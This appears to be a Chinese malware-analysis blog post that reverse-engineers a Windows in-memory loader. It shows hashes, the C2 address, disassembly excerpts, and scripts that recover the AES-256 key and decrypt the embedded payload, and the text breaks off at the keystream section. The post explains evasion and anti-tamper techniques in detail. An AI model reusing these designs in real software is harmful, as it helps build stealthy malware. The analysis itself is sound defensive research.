Post

"tcp_windows_amd64.v4.exe"逆向分析

病毒逆向 阅读 15 点赞 0 评论 0

样本名称:tcp_windows_amd64.v4.exe
样本 SHA256:32497be6d9a9b57a62dbb71eb61ff48e6db745b4b2c2548e21cb0be9f4f146a4
样本 MD5:9959204e49c9c274bd53faa9480537d0
文件类型:PE32+ executable (GUI) x86-64, 3 sections, 25,976 bytes
编译器特征:MinGW-w64 GCC(__tmainCRTStartup 序言 + msvcrt.dll CRT)
分析环境:Kali Linux / uv / Python / openssl / objdump / strings
辅助模型:Qwen3.6 27B Abliterated

摘要

样本是一个完全自包含的双层内存加载器。它不连接网络,也不释放任何文件;其全部工作是打开自身的可执行文件,对文件中四段离散区域做 AES-256-CBC 解密,再叠加一层自实现的密钥流,校验通过后把内嵌的 PE32+ 载荷手工映射进内存并注册到 PEB 模块链表,最后跳入入口点。

解密密钥并非硬编码常量,而是对样本自身 .text 节区做 FNV-1a-32 哈希得到的。这一设计使密钥同时充当完整性闸门:.text 任意一个字节被修改,哈希改变,密钥随之改变,载荷校验必然失败。

内嵌载荷是一个 Winsock 信标,连接 177.3.88.123:32425/tcp,把自己的路由坐标以明文记录形式外发。

项目结论
外层加密AES-256-CBC(无填充,14 轮)
密钥来源.text 节区 FNV-1a-32 哈希 0xF128F979
二次混淆自实现密钥流(LCG 变体)
载荷校验0xD00DFEED 魔数 + FNV-1a-64 校验和
API 解析外层 FNV-1a-32 哈希 / 内层 ROR13 哈希
反调试BeingDebugged、NtGlobalFlag & 0x70、NtSetInformationThread
执行方式手工 PE 映射 + PEB 模块注册
C2177.3.88.123:32425/tcp
持久化未发现
落地文件无,载荷仅存在于内存

一、样本准备与初判

1.1 解压样本

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ unzip -P threatbook -o files/32497be6d9a9b57a62dbb71eb61ff48e6db745b4b2c2548e21cb0be9f4f146a4.zip -d extract/32497/
Archive:  files/32497be6d9a9b57a62dbb71eb61ff48e6db745b4b2c2548e21cb0be9f4f146a4.zip
  inflating: extract/32497/32497be6d9a9b57a62dbb71eb61ff48e6db745b4b2c2548e21cb0be9f4f146a4

1.2 识别文件类型

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ file extract/32497/32497be6d9a9b57a62dbb71eb61ff48e6db745b4b2c2548e21cb0be9f4f146a4
extract/32497/32497be6d9a9b57a62dbb71eb61ff48e6db745b4b2c2548e21cb0be9f4f146a4: PE32+ executable for MS Windows 4.00 (GUI), x86-64 (stripped to external PDB), 3 sections

1.3 计算哈希

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ sha256sum sample.exe
32497be6d9a9b57a62dbb71eb61ff48e6db745b4b2c2548e21cb0be9f4f146a4  sample.exe

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ md5sum sample.exe
9959204e49c9c274bd53faa9480537d0  sample.exe

1.4 节区布局

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -h sample.exe
sample.exe:     文件格式 pei-x86-64

节:
Idx Name          Size      VMA               LMA               File off  Algn
  0 .text         00004490  0000000000401000  0000000000401000  00000200  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .data         00000510  0000000000406000  0000000000406000  00004800  2**4
                  CONTENTS, ALLOC, LOAD, DATA
  2 .pdata        0000024c  0000000000407000  0000000000407000  00004e00  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA

映射关系确立,后续所有地址换算依据此表:

节区虚拟地址文件偏移
.text0x4010000x200
.data0x4060000x4800
.pdata0x4070000x4E00

1.5 导入表与字符串 —— 第一个关键信号

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ strings -a -n 5 sample.exe | head -20
!This program cannot be run in DOS mode.
.text
`.data
.pdata
'ppUS
kernel32.dll
GetStartupInfoA
GetCommandLineA
GetModuleHandleA
msvcrt.dll
strstr
_strdup
_controlfp
__set_app_type
__argc
__argv
_environ
__getmainargs
\<mLSn
6 e-Y
v{+>jz
S~tyK

导入表仅含 CRT 启动函数与 kernel32.dll。此刻可以确立两点判断:

  1. 没有任何网络 API(无 ws2_32、wininet、winhttp)—— 若样本具备网络行为,必然是运行时解析。
  2. 除导入名外不存在任何可读字符串 —— 字符串与配置均为加密存储。

这是典型的加密载荷 + 动态 API 解析结构。

二、加密算法识别

2.1 定位 AES 常数表

.data 中出现了一段高熵数据:

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ xxd -s 0x4920 -l 0x20 sample.exe
00004920: 637c 777b f26b 6fc5 3001 672b fed7 ab76  c|w{.ko.0.g+...v
00004930: ca82 c97d fa59 47f0 add4 a2af 9ca4 72c0  ...}.YG.......r.

63 7c 77 7b f2 6b 6f c5 30 01 67 2b fe d7 ab 76 是 AES 标准 S-box 的前 16 字节。逐字节比对确认。

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
d=open('extract/32497/sample.exe','rb').read()
def va2off(va):
    if 0x401000<=va<0x405490: return va-0x401000+0x200
    if 0x406000<=va<0x406510: return va-0x406000+0x4800
SBOX=bytes.fromhex('637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16'.replace(' ',''))
INV=bytes.fromhex('52096ad53036a538bf40a39e81f3d7fb7ce339829b2fff87348e4344c4dee9cb547b9432a6c2233dee4c950b42fac34e082ea16628d924b2765ba2496d8bd12572f8f66486689816d4a45ccc5d65b6926c704850fdedb9da5e154657a78d9d8490d8ab008cbcd30af7e45805b8b34506d02c1e8fca3f0f02c1afbd0301138a6b3a9111414f67dcea97f2cfcef0b4e67396ac7422e7ad3585e2f937e81c75df6e47f11a711d29c5896fb7620eaa18be1bfc563e4bc6d279209adbc0fe78cd5af41fdda8338807c731b11210592780ec5f60517fa919b54a0d2de57a9f93c99cefa0e03b4dae2af5b0c8ebbb3c83539961172b047eba77d626e169146355210c7d')
t1=d[va2off(0x406120):va2off(0x406120)+256]
t2=d[va2off(0x406220):va2off(0x406220)+256]
print('0x406120 == AES S-box      :',t1==SBOX)
print('0x406220 == AES INV-S-box  :',t2==INV)
print('0x406320 前16字节          :',d[va2off(0x406320):va2off(0x406320)+16].hex())
"
0x406120 == AES S-box      : True
0x406220 == AES INV-S-box  : True
0x406320 前16字节          : 0001020408102040801b366cd8ab4d00

三张表全部确认:

地址内容用途
0x406120AES 正 S-box(256 B)加密路径
0x406220AES 逆 S-box(256 B)解密路径
0x40632000 01 02 04 08 10 20 40 80 1B 36 6C D8 AB 4DGF(2⁸) 幂表,用作 Rcon

同时存在正逆两张 S-box,说明样本自身同时具备加解密能力。

2.2 核心调度函数

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x40517f --stop-address=0x4051c0 sample.exe
000000000040517f <.text+0x417f>:
  40517f:	mov    QWORD PTR [rbp+0x10],rcx
  405183:	mov    QWORD PTR [rbp+0x18],rdx
  405187:	call   0x404375
  40518c:	mov    eax,0x0
  405191:	leave
  405192:	ret

main 最终转入 0x404375 —— 全部核心逻辑所在。该函数长度 0xDD0(3,536 字节)。

三、样本自读取行为

3.1 获取自身模块基址

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x40433d --stop-address=0x404375 sample.exe
000000000040433d <.text+0x333d>:
  40433d:	push   rbp
  40433e:	mov    rbp,rsp
  404341:	sub    rsp,0x40
  404348:	call   0x401493
  40434d:	mov    QWORD PTR [rbp-0x8],rax
  404351:	mov    rax,QWORD PTR [rbp-0x8]
  404355:	add    rax,0x20
  404359:	mov    rcx,QWORD PTR [rax]
  40435c:	mov    QWORD PTR [rbp-0x10],rcx
  404360:	mov    rax,QWORD PTR [rbp-0x10]
  404364:	add    rax,0x68
  404368:	mov    QWORD PTR [rbp-0x18],rax
  40436c:	mov    rax,QWORD PTR [rbp-0x18]
  404370:	mov    rax,QWORD PTR [rax]
  404373:	leave
  404374:	ret

路径为 PEB → Ldr(+0x18) → InMemoryOrderModuleList(+0x20) → Flink(+0x68) → DllBase,即取自身模块基址。

3.2 打开并读取自身文件

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x4049b2 --stop-address=0x404ab0 sample.exe
00000000004049b2 <.text+0x39b2>:
  4049b2:	call   0x40433d
  4049c6:	mov    ecx,0x80
  4049cb:	mov    QWORD PTR [rsp+0x28],rcx
  4049d0:	mov    ecx,0x3
  4049d5:	mov    QWORD PTR [rsp+0x20],rcx
  4049e7:	mov    ecx,0x3
  4049ec:	mov    r8,rcx
  4049ef:	mov    ecx,0x80000000
  4049f4:	mov    r11,rcx
  4049fa:	mov    rcx,r10
  4049fd:	mov    rdx,r11
  404a00:	mov    r11,QWORD PTR [rbp-0x48]
  404a04:	call   r11
  404a07:	mov    QWORD PTR [rbp-0x88],rax
  404a15:	cmp    rax,0xffffffffffffffff
  404a19:	jne    0x404a36
  404a50:	mov    rdx,r11
  404a53:	mov    r11,QWORD PTR [rbp-0x60]
  404a57:	call   r11
  404a5a:	mov    DWORD PTR [rbp-0x8c],eax
  404a60:	mov    eax,DWORD PTR [rbp-0x8c]
  404a66:	add    eax,0x10
  404a69:	mov    ecx,0x4
  404a6e:	mov    r9,rcx
  404a71:	mov    ecx,0x3000
  404a76:	mov    r8,rcx
  404a8f:	mov    r11,QWORD PTR [rbp-0x28]
  404a93:	call   r11
  404a96:	mov    QWORD PTR [rbp-0x98],rax

参数逐项对应:

偏移值含义
0x4049ef0x80000000GENERIC_READ
0x4049e73FILE_SHARE_READ|WRITE|DELETE
0x4049d03OPEN_EXISTING
0x4049c60x80FILE_ATTRIBUTE_NORMAL
0x404a04—CreateFileW 打开自身
0x404a57—GetFileSize
0x404a66size+0x10分配大小
0x404a710x3000MEM_COMMIT|MEM_RESERVE
0x404a694PAGE_EXECUTE_READWRITE
0x404a93—VirtualAlloc(RWX)

样本把自己的 EXE 文件读进 RWX 内存缓冲。

这一步为何必须存在,值得展开说明。多数内存加载器会把加密载荷作为独立资源段或附加数据放在文件尾部,运行时从那里读取。这种布局留下一个显著特征:文件体积远大于代码段实际所需,且尾部存在一整块高熵数据,扫描工具用熵值阈值即可圈定。

本样本采用相反的做法:载荷密文分散藏在正常节区内部。四段密文的起始位置是 0x535C、0x6385、0x525C、0x64E7,而文件总长仅 0x6578,可见密文与 .text、.data 中的常规代码数据交错混排,并不存在"额外一大块高熵数据"这种可供 YARA 直接命中的形态。

要取出这些密文,前提是知道四组 (偏移, 长度) 参数。这些参数存放在 .data 的 0x4060D8 与 0x4060F8 两组位置,且以 8 字节为步长交错排布(0x4060D8、0x4060E0、0x4060E8、0x4060F0 与 0x4060F8、0x406100、0x406108、0x406110)。静态读取这八个 dword 只能得到八个数,无法判断哪一组是偏移、哪一组是长度,必须结合使用方的指令语义才能定性。

因此"打开自身并完整读取"并非冗余动作,而是唯一的取数途径:密文与索引参数都在自身映像内部,只有完整读入文件才能拿到,这也是本节 ReadFile 之后立即校验读取字节数的原因。

3.3 读取完整性校验

  404b1e:	call   r11              ; ReadFile
  404b21:	cmp    eax,0x0
  404b24:	je     0x404b43
  404b2a:	mov    eax,DWORD PTR [rbp-0x90]     ; 实际读取字节数
  404b30:	mov    ecx,DWORD PTR [rbp-0x8c]     ; 文件大小
  404b36:	cmp    eax,ecx
  404b38:	jne    0x404b43                        ; 不等则失败退出

必须读满整个文件,否则放弃。

四、密钥派生:从自身代码哈希而来

4.1 分段表结构

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x404b82 --stop-address=0x404c12 sample.exe
  404b82:	mov    eax,DWORD PTR [rip+0x1590]        # 0x406118
  404b88:	mov    DWORD PTR [rbp-0xdc],eax
  404b8e:	mov    eax,DWORD PTR [rip+0x1544]        # 0x4060d8
  404b94:	mov    DWORD PTR [rbp-0xf4],eax
  404b9a:	mov    eax,DWORD PTR [rip+0x1540]        # 0x4060e0
  404ba0:	mov    DWORD PTR [rbp-0xf0],eax
  404ba6:	mov    eax,DWORD PTR [rip+0x153c]        # 0x4060e8
  404bac:	mov    DWORD PTR [rbp-0xec],eax
  404bb2:	mov    eax,DWORD PTR [rip+0x1538]        # 0x4060f0
  404bb8:	mov    DWORD PTR [rbp-0xe8],eax
  404bbe:	mov    eax,DWORD PTR [rip+0x1534]        # 0x4060f8
  404bc4:	mov    DWORD PTR [rbp-0x104],eax
  404bca:	mov    eax,DWORD PTR [rip+0x1530]        # 0x406100
  404bd0:	mov    DWORD PTR [rbp-0x100],eax
  404bd6:	mov    eax,DWORD PTR [rip+0x152c]        # 0x406108
  404bdc:	mov    DWORD PTR [rbp-0xfc],eax
  404be2:	mov    eax,DWORD PTR [rip+0x1528]        # 0x406110
  404be8:	mov    DWORD PTR [rbp-0xf8],eax

读取这些常量:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
d=open('extract/32497/sample.exe','rb').read()
o=lambda va: va-0x406000+0x4800
A=[struct.unpack_from('<I',d,o(0x4060d8+8*i))[0] for i in range(4)]
B=[struct.unpack_from('<I',d,o(0x4060f8+8*i))[0] for i in range(4)]
print('数组A [0x4060d8..] :',[hex(x) for x in A])
print('数组B [0x4060f8..] :',[hex(x) for x in B])
print('sum(A) =',hex(sum(A)),' sum(B) =',hex(sum(B)))
print('sum(B) 是 16 的倍数 :',sum(B)%16==0)
print('0x406118 =',hex(struct.unpack_from('<I',d,o(0x406118))[0]))
"
数组A [0x4060d8..] : ['0x535c', '0x6385', '0x525c', '0x64e7']
数组B [0x4060f8..] : ['0xff5', '0x108', '0xa9', '0x7a']
sum(A) = 0x16e24  sum(B) = 0x1220
sum(B) 是 16 的倍数 : True
0x406118 = 0x5200

4.2 判定 A/B 的角色

拼接循环的指令序列给出答案:

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x404cf9 --stop-address=0x404de0 sample.exe
  404cf9:	mov    eax,DWORD PTR [rbp-0xe4]
  404cff:	shl    rax,0x2
  404d03:	lea    rcx,[rbp-0xf4]              ; rcx = &A[i]
  404d21:	mov    eax,DWORD PTR [rcx]
  404d23:	mov    ecx,DWORD PTR [rdx]          ; B[i]
  404d25:	add    eax,ecx
  404d63:	mov    eax,DWORD PTR [rbp-0xe4]
  404d66:	lea    rdx,[rbp-0xf4]              ; rdx = &A[i]
  404d72:	mov    rdx,QWORD PTR [rbp-0x98]     ; rdx = 文件缓冲
  404d79:	add    rdx,rax                      ; src = filebuf + A[i]  <<< A 是偏移
  404d8d:	lea    rcx,[rbp-0x104]             ; rcx = &B[i]
  404d97:	mov    eax,DWORD PTR [rcx]
  404d99:	mov    r8,rax                       ; r8 = B[i]             <<< B 是长度
  404daf:	call   0x401188                     ; memcpy
  404dc8:	mov    eax,DWORD PTR [rbp-0x12c]
  404dce:	mov    edx,DWORD PTR [rcx]
  404dd0:	add    eax,edx
  404dd2:	mov    DWORD PTR [rbp-0x12c],eax     ; acc += B[i]

结论:

  • 数组 A(0x4060D8 组)= 源偏移
  • 数组 B(0x4060F8 组)= 长度
  • 累加器 sum(B) = 0x1220,是 16 的倍数 —— 与 AES 分组要求吻合

4.3 节区哈希函数

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x402bf8 --stop-address=0x402c40 sample.exe
0000000000402bf8 <.text+0x1bf8>:
  402bf8:	push   rbp
  402bf9:	mov    rbp,rsp
  402bfc:	sub    rsp,0x50
  402c03:	mov    QWORD PTR [rbp+0x10],rcx
  402c07:	mov    QWORD PTR [rbp+0x18],rdx
  402c0b:	mov    eax,DWORD PTR [rbp+0x18]
  402c0e:	cmp    eax,0x200
  402c14:	jb     0x402c2f
  402c1a:	mov    rax,QWORD PTR [rbp+0x10]
  402c1e:	movzx  ecx,BYTE PTR [rax]
  402c21:	cmp    ecx,0x4d
  402c24:	jne    0x402c2f
  402c2a:	jmp    0x402c39
  402c2f:	mov    eax,0x1
  402c34:	jmp    0x402db9

前缀校验 size >= 0x200 且 buf[0] == 'M'。核心循环:

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x402cca --stop-address=0x402d56 sample.exe
  402cca:	mov    rax,QWORD PTR [rbp-0x18]
  402cce:	add    rax,0x24
  402cd2:	mov    ecx,DWORD PTR [rax]
  402cd4:	mov    DWORD PTR [rbp-0x1c],ecx          ; Characteristics
  402cd7:	mov    rax,QWORD PTR [rbp-0x18]
  402cdb:	add    rax,0x14
  402cdf:	mov    ecx,DWORD PTR [rax]
  402ce1:	mov    DWORD PTR [rbp-0x20],ecx          ; PointerToRawData
  402ce4:	mov    rax,QWORD PTR [rbp-0x18]
  402ce8:	add    rax,0x10
  402cec:	mov    ecx,DWORD PTR [rax]
  402cee:	mov    DWORD PTR [rbp-0x24],ecx          ; SizeOfRawData
  402cf1:	mov    eax,DWORD PTR [rbp-0x1c]
  402cf4:	and    eax,0x20000000
  402cfa:	cmp    eax,0x0
  402cfd:	je     0x402d56                          ; 非可执行节区跳过
  402d03:	mov    eax,DWORD PTR [rbp-0x20]
  402d06:	mov    ecx,DWORD PTR [rbp-0x24]
  402d09:	add    eax,ecx
  402d0b:	mov    ecx,DWORD PTR [rbp+0x18]
  402d0e:	cmp    eax,ecx
  402d10:	ja     0x402d56                          ; 越界跳过
  402d16:	mov    eax,DWORD PTR [rbp-0x24]
  402d19:	cmp    eax,0x0
  402d1c:	je     0x402d56                          ; 空节区跳过
  402d3d:	mov    eax,DWORD PTR [rbp-0x24]
  402d40:	mov    r11,rax
  402d46:	mov    rcx,r10
  402d49:	mov    rdx,r11
  402d4c:	call   0x4012d6                          ; FNV-1a-32

逻辑为:

sh = buf + e_lfanew + 0x18 + SizeOfOptionalHeader
for i in 0..NumberOfSections:
    chars  = *(u32*)(sh + 0x24)    Characteristics
    rawptr = *(u32*)(sh + 0x14)    PointerToRawData
    rawsz  = *(u32*)(sh + 0x10)    SizeOfRawData
    if (chars & 0x20000000) && rawptr + rawsz <= size && rawsz != 0:
        return FNV1a32(buf + rawptr, rawsz, seed)
    sh += 0x28

4.4 计算种子

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
d=open('extract/32497/sample.exe','rb').read()
SEED=struct.unpack_from('<I',d,0x4800)[0]
def fnv(b,s):
    h=s
    for c in b: h=((h^c)*0x1000193)&0xffffffff
    return h
pe=struct.unpack_from('<I',d,0x3c)[0]
n=struct.unpack_from('<H',d,pe+6)[0]; osz=struct.unpack_from('<H',d,pe+0x14)[0]
sh=pe+0x18+osz
print('FNV 种子 [0x406000] =',hex(SEED))
for i in range(n):
    o=sh+i*40
    nm=d[o:o+8].rstrip(b'\0').decode()
    chars=struct.unpack_from('<I',d,o+0x24)[0]
    rawsz=struct.unpack_from('<I',d,o+0x10)[0]
    rawptr=struct.unpack_from('<I',d,o+0x14)[0]
    mark=''
    if (chars&0x20000000) and rawptr+rawsz<=len(d) and rawsz:
        mark=f' -> FNV={fnv(d[rawptr:rawptr+rawsz],SEED):#010x}  <<< 采用'
    print(f'  {nm:8s} chars={chars:#010x} rawsz={rawsz:#06x} rawptr={rawptr:#06x}{mark}')
"
FNV 种子 [0x406000] = 0x3aef41ac
  .text    chars=0x60000020 rawsz=0x4600 rawptr=0x0200 -> FNV=0xf128f979  <<< 采用
  .data    chars=0xc0000040 rawsz=0x0600 rawptr=0x4800
  .pdata   chars=0x40000040 rawsz=0x0400 rawptr=0x4e00

种子 = 0xF128F979,取自 .text 节区(文件偏移 0x200,长度 0x4600),FNV 初始值 0x3AEF41AC,素数 0x1000193。

需要留意的是,FNV-1a 在本样本中出现了三次,用途各不相同,容易混淆。整理如下:

用途函数地址输入折叠大小写输出宽度
节区哈希(派生密钥种子)0x4012D6.text 原始字节否32 位
UTF-16 模块名哈希0x4013E9BaseDllName 缓冲区是(强制大写)32 位
载荷完整性校验0x402A26内嵌 PE 字节否64 位

三者的算法核心相同(h = (h ^ byte) * prime),差异在于:

输入编码不同。 节区哈希直接处理字节流;模块名哈希处理的是 UTF-16 宽字符缓冲区,但实现上是把 BaseDllName.Length 除以 2 得到字符数后……实际逐字节读取(见 0x4013E9 的 movzx eax, WORD PTR [rcx] 后 and eax, 0xff,只取低字节),因此等效于只哈希 ASCII 部分。这是一个实现细节上的偷懒,但对结果没有影响,因为 DLL 名都是 ASCII。

大小写处理不同。 模块名需要折叠大小写,因为 Windows 的模块名大小写不敏感(KERNEL32.DLL 与 kernel32.dll 是同一个模块);而 .text 字节流不能折叠,否则会破坏哈希的区分度。

输出宽度不同。 完整性校验用 64 位是为了降低碰撞概率。32 位哈希在对抗性场景下可以构造碰撞(攻击者能构造两个不同文件产生相同哈希),但 64 位成本高得多。不过对本样本而言,这个校验的目的不是抗碰撞,而是检测意外损坏。

4.5 密钥派生函数

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x402dbb --stop-address=0x402e50 sample.exe
0000000000402dbb <.text+0x1dbb>:
  402dbb:	push   rbp
  402dbc:	mov    rbp,rsp
  402dbf:	sub    rsp,0x30
  402dc6:	mov    QWORD PTR [rbp+0x10],rcx          ; 输出缓冲
  402dca:	mov    QWORD PTR [rbp+0x18],rdx          ; seed
  402dd6:	mov    eax,DWORD PTR [rbp-0x4]
  402dd9:	cmp    eax,0x8
  402ddc:	jge    0x402f17                          ; 循环 8 次
  402e08:	lea    rdx,[rip+0x3251]        # 0x406060
  402e1c:	lea    rcx,[rip+0x325d]        # 0x406080
  402e26:	movzx  eax,BYTE PTR [rdx]
  402e29:	movzx  edx,BYTE PTR [rcx]
  402e2c:	xor    eax,edx
  402e2e:	and    eax,0xff
  402e38:	mov    BYTE PTR [rcx],al

两张表:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
d=open('extract/32497/sample.exe','rb').read()
o=lambda va: va-0x406000+0x4800
print('0x406060:',d[o(0x406060):o(0x406060)+32].hex())
print('0x406080:',d[o(0x406080):o(0x406080)+32].hex())
"
0x406060: 3519675c36c19ce5a579155fb5526085df0ef0625299404d9a69921e4c1eb155
0x406080: b057e49572aafb5bd30bf898b743788974289d36f735fac117b82770705553c5

派生逻辑:

for i in 0..7:
    out[i+0x00] = tab1[i + 0x00] ^ tab2[i + 0x00]
    out[i+0x08] = tab1[i + 0x08] ^ tab2[i + 0x08]
    out[i+0x10] = tab1[i + 0x10] ^ tab2[i + 0x10]
    out[i+0x18] = tab1[i + 0x18] ^ tab2[i + 0x18]
for i in 0..31:
    out[i] ^= (seed >> ((i & 3) * 8)) & 0xFF

计算结果:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
d=open('extract/32497/sample.exe','rb').read()
o=lambda va: va-0x406000+0x4800
T1=d[o(0x406060):o(0x406060)+32]; T2=d[o(0x406080):o(0x406080)+32]
seed=0xf128f979
km=bytes(T1[i]^T2[i] for i in range(32))
key=bytes(k^((seed>>((i&3)*8))&0xff) for i,k in enumerate(km))
print('密钥材料 :',km.hex())
print('AES-256密钥 :',key.hex())
"
密钥材料 : 854e83c9446b67be7672edc70211180cab266d54a5acba8c8dd1b56e3c4be290
AES-256密钥 : fcb7ab383d924f4f0f8bc5367be830fdd2df45a5dc55927df4289d9f45b2ca61

AES-256 密钥 = FCB7AB383D924F4F0F8BC5367BE830FDD2DF45A5DC55927DF4289D9F45B2CA61

到这里应当说明这个设计为何值得单独关注。如果密钥是硬编码常量,直接写在 .data 里 32 个字节,分析者定位到它就能解密载荷、还原样本全部行为。因此作者把密钥间接化:以 .text 节区哈希为种子,对两张静态表做 XOR 扩展得到最终密钥。

这个间接化产生一个容易被忽略的连锁效应:.text 节区同时是"被保护的数据"与"密钥的输入",两者是同一份字节,于是获得三重效果。

抗静态篡改。 若为打补丁而改动 .text 中任意一个字节(哪怕只是把某处条件跳转改成 NOP),该字节会参与 FNV 计算,哈希随之改变,派生密钥完全不同,AES 解密输出成为乱码,0xD00DFEED 魔数校验立即失败。样本因此获得自校验能力,但它校验的并非"文件是否被改",而是"改过之后还能不能解开自己"。

抗内存补丁。 在 .text 内下软件断点时,调试器把目标字节替换为 0xCC。这个替换发生在运行时内存中,而样本解密前先通过 CreateFileW 从磁盘重新读取原始字节(磁盘上不含 0xCC),因此常规断点不会破坏哈希。但若采用内存补丁方式修改 .text(例如为跳过反调试检查而写入 NOP),哈希必然改变。这意味着内存补丁这条路被堵死,只剩一条可行路径:在反调试检查处修改寄存器或标志位绕过,而这不会改动 .text 内容。

抗脱壳重打包。 若试图把解密后的载荷重新打包为独立可执行文件以便分析,必须重新计算 .text 哈希并相应调整密钥与密文;跳过这一步,重打包产物无法运行。

五、解密链还原

5.1 调度器中的调用序列

┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x404e10 --stop-address=0x404f00 sample.exe
  404e1a:	call   0x402dbb                          ; 密钥派生
  404e1f:	mov    eax,0x10
  404e24:	mov    r8,rax
  404e27:	lea    rax,[rip+0x1272]        # 0x4060a0  ; IV 源
  404e31:	lea    rax,[rbp-0xd8]
  404e3e:	mov    rdx,r11
  404e41:	call   0x401188                          ; memcpy(IV, 0x4060a0, 16)
  404e46:	mov    eax,DWORD PTR [rbp-0x108]
  404e4c:	mov    r9,rax                             ; 长度
  404e4f:	mov    rax,QWORD PTR [rbp-0xa0]
  404e56:	mov    r8,rax                             ; 数据
  404e59:	lea    rax,[rbp-0xd8]
  404e60:	mov    r11,rax                            ; IV
  404e63:	lea    rax,[rbp-0xc8]
  404e6a:	mov    r10,rax                            ; 密钥
  404e73:	call   0x4026ee                          ; AES-CBC 解密
  404e78:	mov    DWORD PTR [rbp-0x110],eax
  404e84:	cmp    eax,0x20
  404e87:	jge    0x404ea4                          ; 结果须 >= 0x20
  404ea4:	mov    eax,DWORD PTR [rip+0x1226]        # 0x4060d0
  404eaa:	mov    QWORD PTR [rsp+0x20],rax          ; 种子
  404eaf:	mov    eax,0x20
  404eb4:	mov    r9,rax                             ; 表长 32
  404eb7:	lea    rax,[rip+0x11f2]        # 0x4060b0  ; 表
  404ec1:	mov    eax,DWORD PTR [rbp-0x110]
  404ec7:	mov    r11,rax                            ; 长度
  404eca:	mov    rax,QWORD PTR [rbp-0xa0]
  404ed1:	mov    r10,rax                            ; 数据
  404eda:	call   0x402955                          ; 密钥流解密
  404edf:	mov    rax,QWORD PTR [rbp-0xa0]
  404ee6:	mov    ecx,DWORD PTR [rax]
  404ee8:	xor    ecx,0x4fa49ea2
  404eee:	cmp    ecx,0x9fa9604f                     ; 魔数校验

完整链条:

① 分段组装    4 段 (偏移,长度) → 0x1220 字节密文
② 密钥派生    seed = FNV1a32(.text) = 0xF128F979 → 32 字节密钥
③ AES 解密    0x4026EE(key, iv, buf, len)
④ 密钥流      0x402955(buf, len, tab, 32, seed)
⑤ 魔数校验    buf[0] ^ 0x4FA49EA2 == 0x9FA9604F  →  buf[0] == 0xD00DFEED

5.2 分段组装

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import hashlib
d=open('extract/32497/sample.exe','rb').read()
A=[0x535c,0x6385,0x525c,0x64e7]; B=[0xff5,0x108,0xa9,0x7a]
for i in range(4):
    print(f'  段{i}: file[{A[i]:#06x}:{A[i]+B[i]:#06x}] len={B[i]:#06x}')
ct=b''.join(d[A[i]:A[i]+B[i]] for i in range(4))
open('/tmp/ct.bin','wb').write(ct)
print(f'  -> 密文 {len(ct)} 字节 = {hex(len(ct))}, 16倍数: {len(ct)%16==0}')
print('  密文 SHA256:',hashlib.sha256(ct).hexdigest())
print('  密文前32字节:',ct[:32].hex())
"
  段0: file[0x535c:0x6351] len=0x0ff5
  段1: file[0x6385:0x648d] len=0x0108
  段2: file[0x525c:0x5305] len=0x00a9
  段3: file[0x64e7:0x6561] len=0x007a
  -> 密文 4640 字节 = 0x1220, 16倍数: True
  密文 SHA256: 5736c2e727f4a9a8f2e269e7618b93b68a256e4f2ada10eb39cb3310703eb6b8
  密文前32字节: d13d8563cf2511e173649157ec82ca7f24ef0f632c3674c532ba8d1095aa08b8

四段在文件中离散分布,需按表重组。这是对静态特征扫描的规避。

5.3 AES-256-CBC 解密

使用 OpenSSL 验证(-nopad 因样本自行处理校验):

┌──(z㉿kali)-[/tmp]
└─$ openssl enc -d -aes-256-cbc -nopad -K fcb7ab383d924f4f0f8bc5367be830fdd2df45a5dc55927df4289d9f45b2ca61 -iv 69ac86b4b54c8af773b9d4818802a1ed -in ct.bin -out stage2.bin

┌──(z㉿kali)-[/tmp]
└─$ xxd stage2.bin | head -2
00000000: c44f 3181 09d9 69fb 3be5 c5d1 f296 a695  .O1...i.;.......
00000010: 9085 9404 f53f 0cf5 d809 999c c46f 22c5  .....?.......o".

5.4 密钥流二次解密

算法从 0x402960 逐指令还原:

